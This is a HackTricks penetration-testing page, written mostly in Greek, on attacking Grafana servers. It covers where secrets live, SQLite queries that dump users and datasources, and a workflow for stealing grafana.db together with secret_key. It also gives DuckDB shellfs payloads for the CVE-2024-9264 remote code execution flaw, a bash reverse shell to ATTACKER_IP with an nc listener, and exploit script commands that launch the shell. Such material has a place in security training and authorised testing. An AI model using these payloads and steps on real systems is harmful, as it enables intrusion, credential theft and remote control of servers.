Grafana

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ενδιαφέροντα

  • Το κύριο config βρίσκεται συνήθως στο /etc/grafana/grafana.ini (Deb/RPM) και μπορεί να περιέχει ευαίσθητες τιμές όπως admin_user, admin_password, secret_key, ρυθμίσεις OAuth, SMTP creds, και renderer tokens.
  • Από προεπιλογή το Grafana αποθηκεύει δεδομένα σε SQLite3 στο /var/lib/grafana/grafana.db.
  • Τα provisioning αρχεία είναι πολύ χρήσιμα μετά το host access:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Η επέκταση μεταβλητών περιβάλλοντος υποστηρίζεται στα provisioning αρχεία, οπότε leaked YAML συχνά αποκαλύπτει τόσο secrets όσο και τα ονόματα των env vars που τα υποστηρίζουν.
  • Τα εγκατεστημένα plugins συνήθως βρίσκονται στο /var/lib/grafana/plugins.
  • Μέσα στην πλατφόρμα μπορείς να invite people, generate API keys / service account tokens, list plugins, ή install new plugins ανάλογα με το role.
  • Ο browser είναι επίσης loot: το Grafana εκθέτει non-secret datasource config στο frontend. Αν έχεις μια Viewer session (ή είναι ενεργοποιημένο το anonymous access), έλεγξε το window.grafanaBootData από DevTools.

Useful SQLite checks:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Looting datasources and secrets

Grafana χωρίζει τη διαμόρφωση αναγνώσιμη από το πρόγραμμα περιήγησης από τα κρυπτογραφημένα secrets:

  • jsonData είναι ορατό στους χρήστες στο πρόγραμμα περιήγησης και συνήθως αρκεί για να εντοπίσει internal hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, και παρόμοια recon data.
  • secureJsonData κρυπτογραφείται στον server και δεν είναι πλέον αναγνώσιμο από το πρόγραμμα περιήγησης μετά την αποθήκευση του datasource.

Post-exploitation workflow:

  1. Dump grafana.ini and recover secret_key.
  2. Loot grafana.db and provisioning files.
  3. Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints.
  4. If migrating or replaying the database in another Grafana instance, keep the same secret_key or stored datasource passwords/tokens will not decrypt correctly.

Why secret_key matters in newer versions:

  • Since Grafana v9, database secrets use envelope encryption.
  • Grafana encrypts secrets with data encryption keys (DEKs), and those DEKs are encrypted with a key encryption key (KEK) derived from secret_key.
  • From an attacker perspective, grafana.db + secret_key is the pair worth stealing.

Plugin attack surface

Θεωρήστε τα plugins ως μέρος του στόχου, όχι μια υποσημείωση:

  • Enumerate them from the filesystem, from the UI, or from the API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Παλαιότερα ή τρίτων plugins συχνά επεκτείνουν την πρόσβαση του Grafana σε εσωτερικά δίκτυα επειδή κάνουν proxy HTTP requests ή αλληλεπιδρούν με τοπικά αρχεία/βάσεις δεδομένων.
  • Πρόσφατα παραδείγματα περιλαμβάνουν SSRF στο Infinity plugin (< 3.4.1) και μονοπάτια κατάχρησης όπου το Image Renderer plugin μετατρέπει άλλο bug σε full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Η πειραματική δυνατότητα SQL Expressions του Grafana μπορεί να αξιολογήσει DuckDB queries που ενσωματώνουν κείμενο ελεγχόμενο από τον χρήστη. Η ανεπαρκής απολύμανση επιτρέπει σε επιτιθέμενους να αλυσιδωτούν δηλώσεις DuckDB και να φορτώνουν την community extension shellfs, η οποία εκθέτει εντολές shell μέσω pipe-backed virtual files.

Impact

  • Οποιοσδήποτε authenticated χρήστης με VIEWER ή ανώτερο επίπεδο μπορεί να αποκτήσει code execution ως ο Grafana OS user (συχνά grafana· κάποιες φορές root μέσα σε container) ή να εκτελέσει τοπική ανάγνωση αρχείων.
  • Συνήθεις προϋποθέσεις που ικανοποιούνται σε πραγματικές εγκαταστάσεις:
  • SQL Expressions enabled: expressions.enabled = true
  • duckdb binary present in PATH on the server

Quick checks

  • In the UI/API, browse Admin settings (Swagger: /swagger-ui, endpoint /api/admin/settings) to confirm:
  • expressions.enabled is true
  • Optional: version, datasource types, and general hardening settings
  • Shell on host: which duckdb must resolve for the exploit path below.

Manual query pattern using DuckDB + shellfs

  • Abuse flow (2 queries):
  1. Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
  2. Read back the temp file using read_blob

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Αντικαταστήστε το CMD με την επιθυμητή εντολή σας. Για file-read (LFI) μπορείτε αντίθετα να χρησιμοποιήσετε τις DuckDB file functions για να διαβάσετε τοπικά αρχεία.

Παράδειγμα one-liner reverse shell

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Ενσωματώστε αυτό ως CMD στο πρώτο query ενώ έχετε listener: nc -lnvp 443.

Αυτοματοποιημένο PoC

Παράδειγμα χρήσης

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Αν η έξοδος δείχνει uid=0(root), το Grafana τρέχει ως root (συνηθισμένο μέσα σε μερικά containers).

2025 client-side traversal / open redirect chain

Το 2025 Grafana client-side traversal και open-redirect chain έχουν ήδη τεκμηριωθεί σε πιο γενικές client-side σελίδες. Χρησιμοποιήστε αυτές τις τεχνικές εναντίον Grafana-specific paths όπως plugin assets, dashboard script loaders, και token-rotation redirects:

Client Side Path Traversal

Open Redirect

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks